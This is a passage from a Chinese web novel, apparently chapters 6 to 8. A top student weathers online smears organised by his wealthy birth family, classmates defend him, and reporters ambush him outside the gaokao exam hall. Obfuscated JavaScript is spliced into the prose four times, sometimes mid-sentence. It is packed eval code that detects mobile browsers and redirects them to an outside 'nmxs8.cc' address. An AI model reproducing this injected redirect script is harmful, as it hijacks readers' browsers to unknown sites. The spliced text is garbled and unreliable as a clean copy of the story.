埋头复习的时候,翁绍不免感谢二十年前的自己。十八岁的翁绍不管过得有多艰难狼狈,在学习的时候都一丝不苟,全情投入。他将各科笔记整理的井井有条、清晰明了,翁绍只需要按照笔记中的知识体系和架构多复习几遍,很快就将遗忘的知识点捡了起来。 于是在一个月后的三模考试中,翁绍的成绩迅速攀升,年级排名再次回到了前五十。 这个成绩要是想考京海大学,还差得有点远。可翁绍却对自己很有信心。他知道自己的复习思路没错,按照这个复习进度,他完全可以在高考前彻底掌握全部知识点。翁绍甚至还在复习期间,按照自己的输入习惯,梳理出六个学科的思维导图。 可视化的思维导图比起条理清晰但纯文字版的学科笔记,更加具备鲜明的记忆点,三位室友看了也都觉得获益匪浅。于是在三模考试中,他们三个自然也有不同程度的进步。 成绩下来后,三位室友一致认为,他们得请翁绍吃饭。 翁绍知道,他们这么做,不仅是想表达谢意,更是想要借助这个机会,让翁绍吃点好的。高中三年,他们都是这么做的。 不仅想要照顾翁绍,还要照顾翁绍的自尊心。 “我们是在交束脩。”蒋睿搂着张畅的肩膀,笑嘻嘻道:“这要是放在古代,我们三个是要交六礼的。” 所谓束脩六礼,就是肉干、芹菜、龙眼干、莲子、红枣和红豆六种食物。 吃货张畅听着听着就饿了,吞咽着口水提议道:“我们去吃粥底火锅吧。”可以涮海鲜,还可以涮牛肉,热气腾腾的米粥能够还原食材最鲜美的味道。张畅不敢多想,再想口水都要流成尼亚加拉瀑布了。 蒋睿好奇问道:“咱们市也有粥底火锅?” 张畅:“有,我家新开的。可好吃了。” 张畅的母亲是衡德人,嫁到这边多年,因为思念家乡美食,特地开了这家粥底火锅店。 蒋睿和周铭京对视一眼,旋即看向翁绍。 翁绍虽然贪得无厌,但是口腹之欲不重。他对吃什么都无所谓,只要能填饱肚子就行。不像裴大少爷,食不厌精、脍不厌细,对摆盘都有要求。 意识到自己又在无意间想到了裴行则,翁绍微微一怔。他没有把这点连蜻蜓点水都算不上的涟漪放在心上,只是随口一笑:“我吃什么都可以。” “好耶,那就这么说定了。”张畅举起双手,兴致勃勃地说道:“时间紧,任务重,我们打车过去吧。” 张畅家新开的粥底火锅店离市一中只有二十分钟的车程,店面开在农贸市场旁边。大概是因为店面刚开张的缘故,即便是晚上饭口时间,店里客人也不是很多。 张畅一进门就直冲吧台,嘴里大咧咧地嚷嚷道:“妈,我带同学来吃饭啦!” 坐在吧台里面,正拿着计算机算账的赵明艳立刻抬头:“你这个臭小子——” 话没说完,视线扫过四人中的翁绍,脸色微微一变。 张畅立刻注意到了母亲的异样,但他没有多问,只是嬉皮笑脸地说道:“今天都有什么好吃的?赶紧让后厨上菜,我们吃完了,还得回学校上晚自习呢!” 还有一个月就要高考的高三学生,不仅被剥夺了周末的休息日,晚上自习都要上到十二点钟。好在他们都快熬到头了。 带着同学来到自家地盘的张畅很有火锅店少东家的风范。他一边跟赵明艳说话,一边张罗着哥几个在靠近窗边的一桌坐下了。身穿制服的服务员上了四套消毒餐具,张畅屁股都没沾到椅子,随口说道:“我去吧台拿菜单,你们想吃什么尽管点。” 这一去就是十分钟。服务员把砂锅和新鲜的食材都端上来了,张畅才黑着脸回来。 “菜单呢?”蒋睿明知故问道:“菜都上来了,你的菜单还没来。干什么去了?” “没事。”张畅支支吾吾地摆了摆手,一双眼睛直勾勾盯着面前的一盘牛肉:“吃东西吧,我都饿了。” 蒋睿和周铭京对视一眼。立刻意识道:“跟翁绍有关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318294|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 张畅刚下了一盘肉,听到这句话深吸一口气,语气变得暴躁:“我都说了没事儿。赶紧的,吃完了还得回去上晚自习呢!” 话虽如此,张畅却一点都没了胃口。他夹了一块牛肉放进碗里,一双筷子在蘸碟里拨来拨去,满脸的心神不宁,却还要装作若无其事。 搞得周铭京和蒋睿都没了胃口。 唯有翁绍了然一笑:“阿姨在网上看到什么了?” 张畅猛地抬头看向翁绍,脱口而出:“你都知道了?” 周铭京和蒋睿听得满头雾水:“知道什么?” “我说你们两个打什么哑谜呀,急死我了!” 既然翁绍都知道了,张畅也不憋着了。他起身去吧台,一把捞起赵明艳的手机,一脸气愤地走了回来,压低声音说道:“也不知道是哪个王八蛋,竟然把翁绍家里那点事发到网上去了。他们还在视频里掐头去尾,颠倒黑白,说翁绍为了荣华富贵抛弃父母,把亲爷爷都气病了。” 赵明艳是在本地的美食论坛上看到的帖子。因为新店开张,赵明艳想在美食论坛上给自家店打个宣传,无意间发现了这个帖子。然而张畅随便搜了一下,发现相关的“爆料”已经遍布全网,各大社交平台都在讨论这件事。不明真相的网友都在谴责翁绍,舆论的雪球越滚越大。 周铭京气得咬牙切齿:“这是哪个王八蛋干的?他们是想毁了翁绍吗?” 蒋睿冷笑,伸手抢过张畅手里的手机,噼里啪啦开始打字。 张畅:“你干嘛呢?” 蒋睿道:“我得帮翁绍澄清事实啊!不能任由这帮人污蔑翁绍。” 周铭京和张畅闻言,立刻凑到蒋睿身边。三颗脑袋挤在一起,就开始跟不明真相的网友对线。 相比之下,身为当事人的翁绍反倒是一脸淡定,甚至还有心情劝几人别动气。 蒋睿三人不可思议:“他们这么说你,你都不生气的嘛?” 翁绍笑道:“这有什么好气的。”这才哪儿到哪儿啊!等到翁绍高考当天,还会有记者突然出现在考场门口,追着翁绍做采访呢! 翁绍看着网上铺天盖地的骂声。他知道这种一面倒心疼翁家、贬低他的舆论,很快就会引起某个人的注意。 届时,他就会成为一块最显眼的靶子,一柄最好用的尖刀,一个最知情识趣的报复工具,自然而然地出现在某个人的视野中—— 他是最好的猎人,自然拥有足够的耐心,等待他的猎物,主动踏入陷阱。 6. 第 6 章 翁绍确实没把这点舆论当回事。毕竟要让翁绍自己炒作,还不知道要花多少钱,才会达到现在的声量。别人愿意花钱帮翁绍造势,翁绍乐见其成。但这并不意味翁绍会放过那些踩着他的脑袋狂欢的人—— 不管是收人钱财故意搞事,还是被舆论裹住脑袋被动散播谣言,同一诽.谤信息实际被点击浏览次数达到五千次以上,或者被转发次数达到五百次以上的量刑了解一下! 翁绍的视线在几个颇为眼熟的论坛ID上停顿了几秒钟,随后把手机还给张畅。距离高考就剩一个月了,他不想为了这些小事分神。 只是翁绍打算放任子弹多飞一会儿,别人却没打算放过他。即便是在高三最后的冲刺阶段,还是有人孜孜不倦的在学校里散播他的事儿。一会儿说他忘恩负义、忤逆长辈;一会儿说他利欲熏心、六亲不认;还有人在校内贴吧上匿名爆料,说翁绍爷爷被气得卧病在床,想让翁绍回家照顾他两天,给他认个错,翁绍都不肯。 流言蜚语沸沸扬扬。甚至还有热血上头的人,在午休吃饭时直接问到翁绍的脸上:“你是不是真的这么无情无义?” 翁绍有些好笑地看着义愤填膺的同学,不答反问:“距离高考就剩一个月了,你家里老人生病,会不会让你放下学业回家去照顾老人?” 被问到的同学明显愣住了,过了好半天才反应过来:“我又没把我爷爷气到生病住院。” “我也没有!”翁绍心平气和,慢条斯理地阐述道:“我没当众打他,也没指责他作为爷爷,没有按照《民法典》的要求,在他的儿子明显没有抚养能力的情况下,对当时还未成年的孙子尽到抚养义务。我只是恳求我的亲生父母能够承担我的大学学费,如果这样也能气到他生病住院,那我只能说他老人家气性太大了。” “都说老小孩儿,小小孩儿,他老人家上年纪了,考虑事情不周到,我不跟他计较。但你作为一个即将步入大学的学生,国家未来的栋梁,竟然连这点辨别是非的能力都没有……你是真的蠢,还是想要搞我心态?” 翁绍不等对方说话,又补了一句:“我知道你,高三二班的许天耀是吧?我听说你在争取京海师范大学的保送名额,没争取到吗?” 许天耀脸色一变。翁绍出了这样的事儿,很多家长都觉得学校不该把保送名额交给品行不端的人。许天耀的家长就是跳得最厉害的。校方考虑到舆情影响,不得不顺从民意,收回翁绍的保送名额。可是翁绍的班主任陈老师却认为,这个保送名额可以不给翁绍,但要送给真正品学兼优,并且家里困难的学生。 “师范大学的学生将来是要当老师的。教书育人,言传身教,品行非常重要。” 陈老师是国家特级教师,教学三十余年,威望甚高。校方领导也要充分考虑陈老师的意见。而有了陈老师的这一番发言,在这次举报事件中过分活跃的许天耀,就被校方踢出了保送名额的备选名单。 一番辛苦筹谋,却为别人做了嫁衣。许天耀怒火中烧,不会反思自己,却会迁怒翁绍。 恰在此时,许天耀从同学口中得知了翁绍跟家人闹掰的丑事,于是他自动自发成了小广播,不仅在同学中间散布翁绍的谣言,就连校内贴吧的很多爆料帖子,也是出自他的手笔。 许天耀原本以为,自己做了这么多事,多多少少也该对翁绍产生一些负面影响。但是让许天耀没有想到的是,翁绍当真是个铁石心肠的狠人。不管同学中间有多少流言蜚语,他都能两耳不闻窗外事。明明二模考试的时候成绩下降那么多,短短一个月的时间,他的成绩竟然又提上来了。 反倒是许天耀自己,因为把太多精力都放在发布帖子和散布谣言上面,三模考试时,他的成绩竟然比平时低了一百多分。 周铭京嗤笑一声,阴阳怪气道:“有些人真是坏的可怜。你该不会以为打倒了熊猫,你就是国宝吧?” 许天耀被嘲讽的满面通红,其他人也都见识到了翁绍和他朋友们的伶牙俐齿,一时间偃旗息鼓。 陈老师听闻午休时在食堂发生的风波,特地把翁绍叫到办公室:“你做得很好。还有一个月就高考了,你要把心思全部放在学习上,不必理会外面的风言风语。你得知道,每个人从一出生,因为所处的环境,还有成长经历不同,三观都是不一样的。你无法要求所有人都理解你,你只要做好你自己,问心无愧就好。” 陈老师有些唏嘘地看着自己的得意门生。高中三年,作为翁绍的班主任,陈老师比任何人都清楚翁绍的处境有多艰难。也知道翁绍能在那样的家庭条件下,连续三年保持全校第一的成绩有多么不容易。她不想看到翁绍被一时的风波毁了。 所以在下午的自习课上,陈老师三令五申,再次强调禁止班内学生讨论与学习不相干的事情:“还有一个月就高考了,老师希望你们所有人都把心思放在学习上,要全力以赴备战高考。寒窗十年,别给自己留下悔恨和遗憾。” 在陈老师的强行压制,以及越来越近的高考压力下,很快没人再讨论翁绍的家事。 翁绍的耳根终于清净了。他十分感激陈老师的煞费苦心。于是在自习课后,翁绍拿着自己重新整理归纳出来的各科笔记和思维导图的复印版,找到正在办公室里整理教案的陈老师,主动提出愿意跟其他同学分享自己的学习笔记。 陈老师满脸惊讶地翻看着翁绍整理的学科笔记。作为一名教学经验三十余年的老教师,她当然知道这些笔记和思维导图的含金量。她还知道翁绍的三位室友之所以能在三模考试中成绩迅猛提高,也是这些笔记和思维导图的功劳。但是陈老师怎么都没有想到,翁绍竟然愿意把他辛苦整理的学习笔记和思维导图拿出来,跟其他同学分享。 “你真的愿意跟其他同学一起分享你的学习笔记?”陈老师的内心翻江倒海,再次确认道。 翁绍点点头:“我知道高考对一名学生有多重要。现在我有更好的学习方法,我当然愿意跟同学们一起分享,一起进步。寒窗十年,但愿我们都能考上自己心仪的学校。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318295|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但是以德报怨,何以报德呢?同样都是即将高考的学生,翁绍在这么苛刻的舆论环境下,还能想到跟自己的同学分享自己的学习笔记,这是多么闪耀的人性光辉? 陈老师嘴唇翕动,她在内心做了很久的斗争,最终还是没能拒绝让市一中所有高考生的成绩都能在短时间内更上一层楼的诱惑。她十分动容地拍了拍翁绍的肩膀,感慨万分地说了一句:“老师就知道,你才是品学兼优的那一个。” 翁绍没有说话,只是从容地低头一笑。 他当然是品学兼优的好学生! 看到翁绍笑容的那一刻,陈老师也下定了决心。就算拼上她的老脸和名誉,她决不能让自己的学生被一群小人毁了。 等到翁绍离开以后,陈老师拿着翁绍整理的学习笔记和思维导图复印版,直接去了校长室。也不知道两人都聊了什么,从那一天起,市一中内部再也听不到有关翁绍的谣言,就连校内贴吧的相关爆料都被管理员删除了。而每一位高三学生的书桌上,都多了一套复印版的学科笔记和配套的思维导图。 动荡了一个多月的市一中再次恢复了平静。 但是在网上,被翁绍刻意忽视的舆论,却在有心人的推波助澜下,慢慢酝酿成一股不容忽视的风暴。 * “这些帖子还有营销号,是你找人发的?” 京海市,翁家 翁英杰将一沓资料摔在桌面上,恨铁不成钢地看着翁绥。 翁绥仰起头,目光直勾勾地看着翁英杰,满脸都是不服气:“我只是想要给他一点教训……” 翁绥说着说着自动收声。他低下头,满脸委屈的将嘴唇抿成一条直线。他不知道自己做错了什么,他只是太生气了。从小到大,他从来没有被人这么粗鲁地对待过。他讨厌翁绍高高在上嘲笑他的样子,讨厌他们全家人都被翁绍一个乡巴佬质问的哑口无言,更加讨厌翁绍戳穿他用手机录像时,在场的乡亲们看他的异样目光。 翁绥越想越气,所以他把翁绍的恶劣行径发到网上去,让网友们帮他谴责翁绍。他还联系了村里同样在市一中读书的学生,让他们在学校里面散播翁绍为了荣华富贵,跟家人反目成仇,还把爷爷气得住院的事实……他要让翁绍臭名远扬。 “你有没有想过你这么做会让公司陷入——”翁英杰说到一半就说不下去了。他看着小儿子清澈明亮的眼睛,意识到翁绥的脑袋瓜里,完全没有自己一举一动都会影响到公司形象的大局观。 一直站在落地窗前欣赏仲夏夜景的翁缜转过身,他绕到书桌上摆放的台式电脑前,看着各大社交平台上不断被加热的话题:“所以,你只是找人发了帖子,没买热搜是吧?” 留意到爸爸和大哥愈发凝重的表情,翁绥即便天真,也意识到情况似乎有些不对劲。他一脸茫然地摇了摇头,略微惶恐地说道:“我没有。” 那么问题来了,是谁藏在暗处推波助澜,不断加热翁绥找人发布的帖子,想要把翁家的家事闹大?他的目的又是什么? 7. 第 7 章 看着面露愠怒,语气中又充满忌惮的翁英杰和翁缜,满脑子浆糊的翁绥鼓足勇气,开口道:“你们会不会想太多了?就不能是看到爆料的网友们义愤填膺,把翁绍那个混蛋骂上热搜了?” 听到翁绥天真又愚蠢的发言,翁英杰和翁缜对视一眼,连话都懒得说了。 “事已至此,”沉默几分钟后,翁缜看着越来越火爆的话题讨论度,寒声说道:“我们只能让这些舆论彻底变成事实。” 翁英杰幽幽开口:“有把握吗?” “我会联系记者采访翁绍,”翁缜停顿了一下,又补充道:“在他高考那天。” 他会让记者提前堵在考场外面做采访。不仅要毁了翁绍的名声,如果可能的话,最好还能影响到翁绍的考试心态。以免有人利用翁绍的高考成绩,攻击翁氏集团的企业形象。 ——一个一无是处的白眼狼,总比一个成绩优异的学生好对付。翁缜虽然没在国内读大学,但他向来深知国内的舆论风气,对成绩好的学生能有多大的宽容。 翁绥心里咯噔一下,有些迟疑地开口:“一定要在他高考那一天吗?” 同为高三学生,尽管翁绥的文化课成绩并不好,也没打算参加高考,但他依然清楚高考对一名学生有多重要。他还记得翁绍的志愿是京海大学……要是记者在考试当天,追着翁绍采访,他还能考上京海大学吗? 察觉到翁绥的于心不忍,翁缜深深地看了他一眼,意味深长地说道:“如果不是你搞得家丑外扬,我们也不会做得这么绝。” 身为翁绥的同胞兄弟,翁缜比任何人都要了解这个弟弟的劣根性。他很喜欢在无关痛痒的事情上表现自己的纯真良善。似乎在伤害别人之前,稍微犹豫那么一两秒钟,就能抵消他施加在别人身上的恶。 如果是在平时,翁缜很乐意纵容弟弟的恶趣味。但是在成王败寇的紧要关头,翁缜必须让翁绥明白,凡事要么不做,要做就要做绝的重要性。 “想得罪人,就不要留有余地。”翁缜淡淡开口。 正是因为翁绥做事草率,情绪上头意气用事,又全凭心意不顾后果,翁家才会被人钻了空子。 “你也知道翁氏集团是一家上市企业,如果因为这些负面新闻,造成集团股价下跌,你能站出来对董事会和股东们负责吗?” 翁绥脸色青一阵白一阵的,一句话也说不出来。 翁英杰只能叹息一声,缓缓说道:“我知道这么做,对翁绍是有些残忍。但我们不能给别人钻空子的机会。要怪就只能怪翁绍自己不安分。要不是他跟他妈起了贪心,当着那么多人的面跳出来逼宫闹事,事情也不会变得这么麻烦。” “人活一世,总归是要为自己的所作所为付出代价。” “这句话是说他,也是在说你。你也不小了,应该知道什么事情能做,什么事情不能做。千万别再为了一时意气,害人害己。” 翁绥听着爸爸和大哥的话,只觉得脸上热辣辣的。他当然不觉得事情搞成这样,是因为他在网上散播了翁绍的丑恶嘴脸,又被人抓住可乘之机。他只恨在背地里推波助澜的坏人,竟然妄图用这种手段,陷他们翁家于不义。 “不要让我知道他是谁,否则我绝不会放过他!” * 翁家父子的预感没有错。就在网上舆论愈演愈烈的情况下,一则报道横空出世—— 《豪门内斗又掀起,揭秘豪门父子为几千块反目成仇》 副标题更是骇人听闻:豪掷百万做慈善,却吝啬给救命恩人和亲生子一毛钱。白手起家商业大佬,究竟是真善还是伪善? 刊登这则报道的是国内最著名的八卦周刊《易周刊》,据说这家杂志的幕后老板是一家港资企业,所以杂志的风格也受到港岛同行们的影响,向来以敢说敢写、犀利毒舌著称于世。 张畅在校门口书报亭闲逛的时候,意外发现了这本杂志,当即兴奋地买回来给翁绍看:“老天有眼,终于有人发现他们那一家人有多恶心了。之前看那些网络大V和不知道真相的网友们一面倒地骂人,我都快疯了。果然,这个世界上还是有正常人存在的。感谢《易周刊》,拯救了我的三观。这样敢于报道事实真相的媒体就应该多一点才对!” 蒋睿和周铭京把两颗脑袋凑到一起,囫囵吞枣地看完了整篇报道:“原来这种忘恩负义的事情,你二叔干了不止一次!” 周铭京指着杂志内页上的一小段内容,上面如数家珍地罗列出翁英杰的发家史——白手起家时受到大富豪裴竟尧的提携,却在裴家有难时,秘密联合裴家的对手陷害裴竟尧,害得裴家元气大伤。翁英杰则趁裴家自顾不暇,抢了裴家很多生意。 “上面还说翁英杰早年做生意手段很脏,直到最近这几年才开始做慈善洗白。怪不得他能把救命恩人扔在乡下不闻不问,眼睁睁看着亲生儿子没钱读书也不管。他还有脸说翁绍忘恩负义狼心狗肺,我看狼心狗肺的分明是他自己!” 翁绍看着杂志封面上的翁英杰含笑不语,他就知道有人会出手! 同一时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318296|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,翁英杰也看到了《易周刊》上的八卦报道,气得将桌面清扫了一遍。 翁缜推门进入一片狼藉的书房,看着站在落地窗前,满脸阴沉的翁英杰,翁缜走到桌前拉开抽屉,从里面拿出降压药,又倒了一杯清水,缓缓走到翁英杰身边:“能把这件事情跟十多年前的旧事联系起来,看来是裴家出手了。” 翁英杰接过水杯和降压药,不耐烦地说道:“我就知道,裴行则那条疯狗,绝对不会放过这种机会。” “既然早就猜到了他会落井下石,父亲又何必动怒呢?”翁缜淡然说道:“这个世界的生存法则本来就是弱肉强食,强者为尊。就算让他找到十家百家报纸,报道当年那些陈芝麻烂谷子的事又能怎么样?一点点流言蜚语,影响不了今时今日的翁氏集团。” 翁英杰深吸一口气,他当然知道那些八卦小报的报道,不会动摇翁氏集团的根基。他只是讨厌那些苍蝇嗡嗡嗡,还有裴行则那条见缝插针,穷追不舍的疯狗。 “也不知道裴竟尧是怎么教导他的,竟然教出一个疯子来!” “一个行事肆无忌惮的疯子,总比一个走一步算十步的棋手好对付。”翁缜道:“更何况姓裴的之所以行事肆无忌惮,就是因为有裴家给他兜底。一旦裴家土崩瓦解,一条疯狗不足为虑。” * “翁家老的小的一脉相承,都喜欢用下三滥的手段算计人!却不知道他们算计人的时候,也在别人的算计中!” 舞池里的彩灯光芒变幻,劲爆的DJ舞曲贯穿整个酒吧。二楼包厢内,几个男人歪歪斜斜地坐在两边的沙发上,一边透过单面可视落地窗欣赏舞池中不断扭动的男男女女,一边抽烟喝酒嬉笑闲聊:“……傻瓜都知道家丑不能外扬。翁家那群蠢货,竟然把自家的丑事宣扬的全网皆知。真不知道他们是怎么想的。” “他们要是不这么蠢,哪有裴少出手的机会呢。” “以翁老狐狸的为人,解决不了问题,恐怕就要解决搞出问题的人喽。” “那位小朋友岂不是很惨?素未谋面就要被你当成对付翁家的靶子。” 陆青杨说出这句话的时候,倒了一杯威士忌,递给裴行则。 裴大少大马金刀地坐在正对着落地窗的主位上,半张脸都隐藏在包厢昏暗的光线中。他用夹着香烟的手晃了晃酒杯。烟头的火光在昏暗的包厢内明明灭灭,烟雾缭绕中,裴行则看着在酒液中沉沉浮浮的冰块,漫不经心道:“这位小朋友如果够聪明,就该抓住这次机会,狠狠插翁家一刀。” 8. 第 8 章 一个月转瞬即逝。 高考当天,翁绍刚到考场,就被一群扛着长枪短炮的记者围住了。 当时的场面非常混乱,七八只麦克风怼到翁绍的面前,身穿采访马甲的记者一窝蜂地涌上来,将翁绍围得密不透风。 大概是为了证明自己采访过程的正义性,这些记者并未在一开始发难,而是装模作样地提了好几个司空见惯的问题—— “这位同学,马上就要高考了,紧张不紧张?” “学习成绩怎么样?有理想的大学吗?” “为了考上理想的大学,你可以付出什么?” 直到其中一位记者惊讶地“认出”翁绍:“咦,我看你很眼熟。你不是网上那个……在参加宴席时,跟家人发生冲突,致使亲爷爷心脏病发作住进医院的学生吗?” 记者高亢的声音立刻引起了周围人的注意。令人倍感窒息的镜头散发着冰冷的光泽,如同正在行刑的枪口,对准了翁绍的脸。各种尖锐的问题,夹杂着周围家长和考生们满头雾水的询问声,劈头盖脸砸向翁绍。 “网上有那么多批判你的声音,你有没有反省过自己当初的所作所为,其实并不符合公序良俗呢?” “听说你在养育了你十八年的养父母面前,公然抱怨自己活得不如一条狗。请问你这么说,是在埋怨你的养父母没有给你提供更好的生活条件吗?可据我说知,你当初是以全县第一名的成绩考上市一中。如果没有家人的悉心栽培,你认为你能获得这么好的成绩吗?” “听说你二模三模的成绩并不稳定,在这种关键时刻掉链子,是不是受到了网络舆论的影响?你有没有后悔过自己不恰当的行为?” “你对网友批判你的言论有什么要说的吗?” 一只麦克风重重怼在了翁绍的脸上,翁绍抬起手挡了挡。 不可否认的是,翁绍有一副极好的皮囊,即便常年劳作奔波,他的皮肤仍然显得比寻常人更加白皙。一双桃花眼黑白分明,眼角带笑,看人的时候天然带着一丝无辜和深情。尤其是他举手投足间,不经意流露出来的那份淡定从容,更不像是贫苦人家放养苛待的孩子,反而像是被阖家上下倾尽所有、精心培养出来的精英子弟。 ——只有那双青筋暴现,满是细碎疤痕的粗糙双手,透露出他的生活其实并不像他的外表那样粉饰太平。 翁绍握住麦克风,看似不经意间,将自己刻满了劳动痕迹的双手展现在镜头前,仍旧用他那温和无害,但却条理分明的温吞声音询问道:“你们好像搜集了很多有关于我的网络谣言,请问是有备而来吗?” 被问到的记者皱了皱眉,他知道翁绍想说什么,却不给翁绍开口谴责他们的机会:“作为一名新世纪的高中生,国家未来的栋梁,你认为才华和品德哪个更重要呢?” 翁绍清亮的眼眸牢牢盯住最先发难的记者,慢条斯理地反问道:“你是哪个平台的记者?我注意到你刚刚没有采访别人,你是专程来采访我的嘛?你在这里等我多久了?” 被翁缜事先安排好的几名记者当然不会采访别人。考场外面人头攒动,有那么多考生和家长,稍不留神就会错过自己的采访目标。几位记者受人之托,自然会担心自己采访别人的时候错过翁绍。可让他们没有想到的是,就是这点不应该被人注意到的小疏漏,竟然被翁绍注意到了。 怪不得金主一再提醒他们,这次的采访对象是个非常难缠的人。 “你认为网上的评价都是谣言?”其中一位记者抓住翁绍的字眼,犀利发问:“那你怎么看待你的亲生父母、你的养父,还有你的亲爷爷对你的评价?我们通过网上流出的一些视频片段可以知道,他们似乎并不赞同你的所作所为,甚至言辞激烈地批评过你。难道他们亲口说的话也是谣言吗?” 翁绍反问:“那么你认为一个人想要拼搏向上,想要努力过上更好的生活,想让亲生父母支付上大学的学费,应该受到亲人的批判和道德谴责吗?” 记者显然没有想到,翁绍的反应竟然会这么刁钻迅速,不免有些哑口无言。但他还是没有放弃,试图用另外一个角度带节奏:“所以你为了过上更好的生活,可以毫不犹豫抛弃养育了你十八年的养父母,并且不以为耻。你难道不觉得你的三观有问题吗?” 一位艰难挤进人群中,伸长了脖子踮起脚,正打算舒舒服服看热闹的考生家长突然认出了翁绍,他扭头冲着自己的女儿说道:“闺女,被采访对象好像是你们学校那个年级第一!” “我听到了!”同样被分到这个考场的市一中学生在人群外面急得团团乱转。她不知道发生了什么事,但她本能地觉察出那些记者不怀好意。 想到这一个月来自己天天翻看,甚至背到滚瓜烂熟的学科笔记和思维导图,女生调头冲进考场。 而这位考生家长跟他女儿说的话,也被散布在考场外围的其他几名市一中学生听到了。 几个年轻力壮的男同学仗着身高马大,强行挤进包围圈:“干嘛呀?你们这些记者有完没完,怎么还找到考场来了?” 记者们猝不及防,被挤得东倒西歪,还要强调自己有新闻采访权:“……请不要干扰我们的正常工作。” “那你也不能骚扰我们同学啊!有什么采访你不能等他考完了再来吗?非得选在这种时候……” 翁绍有些意外地看着站在他面前,把一群记者挡得严严实实的考生。 这些学生有的穿着市一中的校服,有的穿着简单的T恤和牛仔裤,一张张青涩的面孔上满是对记者的愤怒,和对他的维护。 “翁绍是个好人。他根本不像网上说的那样坏。什么忘恩负义、狼心狗肺的,那都是别人瞎说。” “之前不是有杂志报道过这事儿嘛!还说翁绍他亲爸白手起家为富不仁,有大老板提携他,他却恩将仇报。你们怎么不去采访他啊!” 一群记者愣愣地看着堵在面前仗义执言的考生,都意识到情况不妙。他们没有想到,竟然会有这么多学生维护翁绍,这跟他们了解到的情况不一样。 翁绍拍了拍一位同学的肩膀,从后面走出来,冲着表情讪讪的记者们勾了勾嘴角:“看来是非曲直,自有公论。就像你们为了一个头条,或者更大的利益,在高考当天,围堵一个正要参加考试的学生,试图用最粗暴的方式堵我的嘴……” 翁绍说到这里,还指了指自己被麦克风狠狠嗑到的嘴唇:“你们用这种话刺激我,干扰我的心态,完全不顾及你们的行为会对一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318297|167352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十八岁的高考生产生什么影响……” 翁绍冲着脸色陡然一变的记者笑了笑:“如果你们认为你们的举动是符合道德伦理的,那么我完全可以认为,我为了上大学,恳请从小遗弃我的亲生父母支付学费,是完全符合公序良俗的。我的行为就算不高尚,至少不应该被媒体,或者是你们口中的世俗道德批判。” “我的请求至少没有伤害到任何人。”翁绍说到这一句的时候,声音已经有些颤抖了。 泪水湿润了他的双眸,让他深邃的眉眼更加明亮温润。清澈干净的眼白也因为激动,染上了一层绯红。 显然,作为一名十八岁,还没有迈出校门的高中生,即便翁绍有着清晰的自我认知,和比同龄人更为强大的心理素质,他仍然会对自己遭遇的一切不明就里的诘问,和人云亦云的责骂感到委屈。 仿佛是在赌气一般,这段时间一直饱受舆论冲击的翁绍红着双眼直视镜头:“其实我也不是非要跟他们相认!我只是觉得,他们作为我的亲生父母,既然可以资助别人家的孩子上大学,为什么不能资助亲生儿子读最好的大学?我没想到他们的反应那么激烈,更没想到我会被那么多人骂。我不知道那些人骂我,是受了别人的蛊惑、诱导,还是其他什么原因,但我现在改主意了。” “我不需要翁英杰资助我上大学了。我们班主任陈老师说我这种情况,可以申请助学贷款……” 翁绍仔细拿捏着自己的表情和语气,既要把自己的委屈和别人的不怀好意说明白,又要符合他这个年纪和阅历,还要不着痕迹地抛出钩子引人上钩。种种细节还真是不好把握。 恰在此时,最先冲进考场的那名考生,拽着一位监考老师冲了出来。 “你们在干什么?”身穿黑色POLO衫,米色休闲裤的监考老师急匆匆跑了过来。他费力挤进里三层外三层的围观人群,一眼就看到了被记者围在中间的翁绍和其他几名考生。 他主动站到学生面前,将翁绍和记者们隔开:“这里是考场,不允许大声喧哗,更不允许无故骚扰考生。你们都是哪个单位的,赶紧走!” 被驱赶的记者们相互对视一眼,灰溜溜离开。 翁绍整理好情绪,向帮了他的考生和老师温声道谢。只是他脸上的笑容看起来,莫名让人觉得很难过。 监考老师默默叹息,他将失魂落魄的翁绍送进考场,伸手拍了拍他的后背:“别多想,别被那些记者干扰,考试最重要。” 